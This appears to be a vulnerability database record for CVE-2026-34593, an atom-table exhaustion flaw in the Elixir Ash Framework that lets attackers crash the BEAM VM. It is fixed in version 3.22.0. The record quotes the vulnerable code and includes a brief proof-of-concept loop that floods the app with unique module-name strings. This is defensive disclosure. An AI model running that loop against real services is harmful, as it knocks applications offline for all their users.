{"id":"CVE-2026-34593","aliases":["GHSA-jjf9-w5vj-r6vp"],"url":"https://o3.security/vulnerability/CVE-2026-34593","summary":"Ash Framework: Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash","details":"## Summary\n\n`Ash.Type.Module.cast_input/2` unconditionally creates a new Erlang atom via `Module.concat([value])` for any user-supplied binary string that starts with `\"Elixir.\"`, before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type `:module` can exhaust this table and crash the entire BEAM VM, taking down the application.\n\n## Details\n\n**Setup**: A resource with a `:module`-typed attribute exposed to user input, which is a supported and documented usage of the `Ash.Type.Module` built-in type:\n\n```elixir\ndefmodule MyApp.Widget do\n  use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer\n\n  attributes do\n    uuid_primary_key :id\n    attribute :handler_module, :module, public?: true\n  end\n\n  actions do\n    defaults [:read, :destroy]\n    create :create do\n      accept [:handler_module]\n    end\n  end\nend\n```\n\n**Vulnerable code** in `lib/ash/type/module.ex`, lines 105-113:\n\n```elixir\ndef cast_input(\"Elixir.\" <> _ = value, _) do\n  module = Module.concat([value])   # <-- Creates new atom unconditionally\n  if Code.ensure_loaded?(module) do\n    {:ok, module}\n  else\n    :error                          # <-- Returns error but atom is already created\n  end\nend\n```\n\n**Exploit**: Submit repeated `Ash.create` requests (e.g., via a JSON API endpoint) with unique `\"Elixir.*\"` strings:\n\n```elixir\n# Attacker-controlled loop (or HTTP requests to an API endpoint)\nfor i <- 1..1_100_000 do\n  Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: \"Elixir.Attack#{i}\"})\n  |> Ash.create()\n  # Each iteration: Module.concat([\"Elixir.Attack#{i}\"]) creates a new atom\n  # cast_input returns :error but the atom :\"Elixir.Attack#{i}\" persists\nend\n# After ~1,048,576 unique strings: BEAM crashes with system_limit\n```\n\n**Contrast**: The non-`\"Elixir.\"` path in the same function correctly uses `String.to_existing_atom/1`, which is safe because it only looks up atoms that already exist:\n\n```elixir\ndef cast_input(value, _) when is_binary(value) do\n  atom = String.to_existing_atom(value)   # safe - raises if atom doesn't exist\n  ...\nend\n```\n\n**Additional occurrence**: `cast_stored/2` at line 141 contains the identical pattern, which is reachable when reading `:module`-typed values from the database if an attacker can write arbitrary `\"Elixir.*\"` strings to the relevant database column.\n\n## Impact\n\nAn attacker who can submit requests to any API endpoint backed by an Ash resource with a `:module`-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.\n\n**Fix direction**: Replace `Module.concat([value])` with `String.to_existing_atom(value)` wrapped in a `rescue ArgumentError` block (as already done in the non-`\"Elixir.\"` branch), or validate that the atom already exists before calling `Module.concat` by first attempting `String.to_existing_atom` and only falling back to `Module.concat` on success.","published":"2026-04-02T17:42:26.459Z","modified":"2026-08-12T03:51:45.300382629Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Hex","name":"ash","fixedVersion":"3.22.0"}],"fix":{"url":"https://github.com/ash-project/ash/commit/7031103da38cd1366cec8c96d6bcdc9b989aa3c2","label":"ash-project/ash@7031103"},"references":[{"type":"WEB","url":"https://github.com/ash-project/ash/releases/tag/v3.22.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34593.json"},{"type":"ADVISORY","url":"https://github.com/ash-project/ash/security/advisories/GHSA-jjf9-w5vj-r6vp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34593"},{"type":"WEB","url":"https://github.com/ash-project/ash/commit/7031103da38cd1366cec8c96d6bcdc9b989aa3c2"},{"type":"PACKAGE","url":"https://github.com/ash-project/ash"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:45.300382629Z"}}